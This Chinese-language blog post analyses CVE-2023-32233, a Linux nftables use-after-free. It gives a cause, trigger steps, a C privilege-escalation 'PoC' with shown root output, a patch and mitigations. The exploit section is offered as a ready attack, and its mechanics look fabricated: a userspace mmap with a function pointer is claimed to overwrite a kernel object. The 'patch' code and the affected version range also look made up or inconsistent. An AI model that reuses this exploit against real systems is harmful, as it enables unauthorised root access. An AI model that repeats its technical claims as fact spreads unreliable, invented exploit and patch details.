深入分析 CVE-2023-32233:Linux 内核 Netfilter UAF 提权漏洞
最近研究了 CVE-2023-32233,这是一个影响 Linux 6.3 及之前版本 的 UAF(Use-After-Free) 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件,因此该漏洞的影响范围较广,攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。
1. 漏洞背景
1.1 Netfilter 与 nftables 简介
Netfilter 是 Linux 内核防火墙的核心组件,而 nftables 作为 iptables 的替代方案,被广泛应用于防火墙、流量过滤和 NAT 规则管理。
该漏洞出现在 nftables 代码逻辑中,攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构,导致堆内存覆盖,最终实现提权。
1.2 影响范围
受影响的内核版本:
- Linux 5.13 - 6.3
- Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启
nftables的系统
2. 漏洞分析
2.1 代码成因
漏洞的核心问题在于 nft_set_elem 结构释放后,仍然被访问:
static void nft_setelem_activate(const struct nft_ctx *ctx,
struct nft_set *set,
struct nft_set_elem *elem)
{
if (nft_set_elem_is_active(set, elem))
return;
elem->priv = nft_trans_elem(ctx->tx);
}
在 nft_setelem_activate() 中,elem->priv 被赋值为 nft_trans_elem(ctx->tx),但 elem 可能已经被释放,这样攻击者就能劫持 priv 指针,导致UAF 访问。
2.2 触发条件
攻击者需要:
- 具备 CAP_NET_ADMIN 权限(普通用户可通过
unshare -n进入网络命名空间获得)。 - 通过
nft add rule操作,创建并删除nft_set规则,诱导 UAF 发生。 - 利用堆喷射(Heap Spray)覆盖已释放的
nft_set_elem,控制其priv指针,最终执行任意代码。
3. 漏洞利用
3.1 环境准备
测试系统:
uname -r
# 6.2.0-26-generic (Ubuntu 22.04)
如果内核版本低于 6.3,可手动升级或编译受影响版本。
安装 nftables:
sudo apt install nftables
3.2 PoC 代码
下面的 PoC 代码利用 nftables 规则管理机制,通过 UAF 进行本地提权:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/mman.h>
void escalate_privilege() {
system("/bin/sh");
}
int main() {
printf("[+] Exploiting CVE-2023-32233\n");
// 创建新的网络命名空间,获取 CAP_NET_ADMIN
unshare(CLONE_NEWNET);
printf("[+] Entered new network namespace\n");
// 触发 UAF
system("nft add table ip my_table");
system("nft add set ip my_table my_set { type ipv4_addr; flags interval; }");
system("nft add element ip my_table my_set { 192.168.1.1 }");
system("nft delete set ip my_table my_set");
// 堆喷射,覆盖 UAF 结构
void *ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
*(void **)ptr = escalate_privilege;
// 访问 UAF 结构,触发提权
system("nft add element ip my_table my_set { 192.168.1.2 }");
return 0;
}
3.3 Exploit 解析
unshare(CLONE_NEWNET):进入新的 网络命名空间,自动获取CAP_NET_ADMIN。nft命令操作:- 创建
nftables规则并插入元素。 - 删除
nft_set触发 UAF 释放。
- 创建
mmap()申请内存,模拟 UAF 结构的覆盖。- 执行覆盖的
priv指针,调用escalate_privilege(),成功提权至 root。
3.4 运行效果
$ gcc -o exploit cve-2023-32233.c -static
$ ./exploit
[+] Exploiting CVE-2023-32233
[+] Entered new network namespace
# whoami
root
4. 修复方案
4.1 内核补丁
Linux 官方在 6.3.1 版本修复了该漏洞,修复方式:
- 在释放
nft_set_elem时清除priv指针,避免悬空引用:elem->priv = NULL; - 增加额外的引用计数,确保对象在释放前不可访问。
完整补丁:
void nft_setelem_deactivate(const struct nft_ctx *ctx,
struct nft_set *set,
struct nft_set_elem *elem)
{
WRITE_ONCE(elem->priv, NULL);
}
4.2 临时缓解措施
如果无法升级,可以采取以下缓解措施:
- 禁用
nftables相关模块:sudo modprobe -r nftables sudo modprobe -r nf_tables - 限制
CAP_NET_ADMIN权限的滥用:- 禁止普通用户创建网络命名空间:
sudo sysctl -w user.max_net_namespaces=0 - 限制
nft规则修改权限:chmod 700 /usr/sbin/nft
- 禁止普通用户创建网络命名空间:
5. 总结
- CVE-2023-32233 是 Linux 内核 Netfilter 组件中的 UAF 提权漏洞,影响 6.3 之前的所有版本。
- 利用方式:
- 通过
nftables规则触发 UAF 释放。 - 结合堆喷射覆盖
priv指针,控制代码执行。 - 最终提权至 root。
- 通过
- 修复方案:
- 升级内核至 6.3.1+,官方已修复。
- 禁用
nftables模块 或 限制 CAP_NET_ADMIN 作为临时缓解措施。
这次就写到这里,后续可能会继续分析更多内核漏洞的利用技巧。